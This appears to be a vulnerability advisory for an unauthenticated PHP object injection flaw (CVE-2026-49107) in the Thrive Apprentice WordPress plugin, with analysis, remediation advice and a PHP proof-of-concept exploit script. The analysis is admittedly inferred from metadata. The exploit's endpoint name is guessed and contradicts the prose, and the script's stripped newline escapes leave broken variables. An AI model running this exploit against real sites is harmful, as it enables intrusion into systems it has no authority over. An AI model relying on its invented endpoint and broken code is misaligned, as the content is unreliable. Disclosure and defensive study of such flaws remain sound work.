Published : June 20, 2026

CVE-2026-49107: Thrive Apprentice < 10.8.10.2 Unauthenticated PHP Object Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-49107
Plugin thrive-apprentice
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 10.8.10.2
Patched Version —
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49107 (metadata-based):

This is an unauthenticated PHP Object Injection vulnerability in the Thrive Apprentice plugin for WordPress, affecting versions up to and including 10.8.10.2. The vulnerability carries a CVSS score of 8.1 (High) with a vector of AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating network exploitability with high attack complexity, no privileges required, and no user interaction. The classification under CWE-502 (Deserialization of Untrusted Data) confirms the core issue involves unsafe unserialize() calls on attacker-controlled input.

Root Cause: The vulnerability stems from the plugin passing unfiltered or insufficiently validated user input to PHP’s unserialize() function. This conclusion is inferred from the CWE classification and the description “deserialization of untrusted input.” No code diff confirms this. Typical vulnerable patterns in WordPress plugins include unserializing data from POST parameters, cookie values, or custom database fields without integrity checks like hashed verification. The description notes no known POP chain exists in the vulnerable software, but the danger amplifies when other plugins or themes on the target system contain exploitable gadget chains.

Exploitation: An unauthenticated attacker crafts a serialized PHP object payload and sends it to a vulnerable endpoint. The attack vector likely targets one of the plugin’s AJAX handlers, REST API routes, or directly accessible PHP files. Based on the plugin slug ‘thrive-apprentice’ and common WordPress patterns, the attacker would send a POST request to /wp-admin/admin-ajax.php with an action parameter matching the plugin’s handler (e.g., thrive_apprentice_process_data) and a second parameter containing the serialized payload. The attacker URL-encodes the serialized string to preserve special characters. If no POP chain exists, exploitation results in a denial of service or PHP object creation with limited impact. If a POP chain exists in another installed plugin or theme, the attacker achieves arbitrary file deletion, sensitive data retrieval, or remote code execution.

Remediation: The patch should replace unsafe unserialize() calls with safe alternatives. The simplest fix swaps unserialize() for json_decode() when the data does not require object deserialization. When object deserialization is necessary, developers must implement integrity verification through hash_hmac() or a similar signing mechanism. The plugin should validate that the data matches an expected structure before deserialization. Version 10.8.10.2 is listed as both vulnerable and patched in the metadata; this discrepancy likely indicates a rushed patch that incompletely addressed the issue, so Atomic Edge recommends updating to the latest available version beyond 10.8.10.2 if one exists.

Impact: Successful exploitation permits an unauthenticated attacker to inject arbitrary PHP objects. Without a POP chain on the target, impact is limited to object instantiation and potential denial of service due to type confusion or memory exhaustion. With a suitable POP chain from another plugin or theme, the attacker gains the ability to delete arbitrary files, read sensitive data from the database or file system, or execute arbitrary PHP code. The CVSS confidentiality, integrity, and availability all score High (C:H/I:H/A:H), reflecting the severity when a POP chain is present. Attack complexity is High (AC:H) because successful exploitation requires the presence of a POP chain on the target system.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49107 - Thrive Apprentice < 10.8.10.2 - Unauthenticated PHP Object Injection

// This PoC demonstrates exploitation of an unauthenticated PHP Object Injection vulnerability.
// It assumes a vulnerable AJAX endpoint exists at:
//   /wp-admin/admin-ajax.php with action 'thrive_apprentice_unserialize'
// and a second POST parameter 'data' that passes user input to unserialize().
// Without a known POP chain, this PoC sends a serialized stdClass object to verify the injection point.
// Replace the gadget payload if a POP chain is identified.

// Configuration
$target_url = 'http://example.com';  // Change to the target WordPress site URL

// Craft a serialized PHP object payload
// This is a simple stdClass object; replace with a real gadget chain if available
$malicious_object = new stdClass();
$malicious_object->test = 'injection';
$payload = serialize($malicious_object);

echo "[+] Target: $target_urln";
echo "[+] Serialized payload: " . $payload . "n";

// Initialize cURL
$ch = curl_init();

// Set endpoint to the admin-ajax.php
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// Prepare POST data
$post_data = array(
    'action' => 'thrive_apprentice_unserialize',  // Inferred common action name
    'data'   => $payload
);

// Configure cURL for POST request
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Disable SSL verification for testing
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Execute request
echo "[+] Sending exploit to $endpoint...n";
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[+] HTTP Response Code: $http_coden";
    echo "[+] Response body:n$responsen";
}

// Close cURL
curl_close($ch);

echo "[+] Exploit completed.n";
?>

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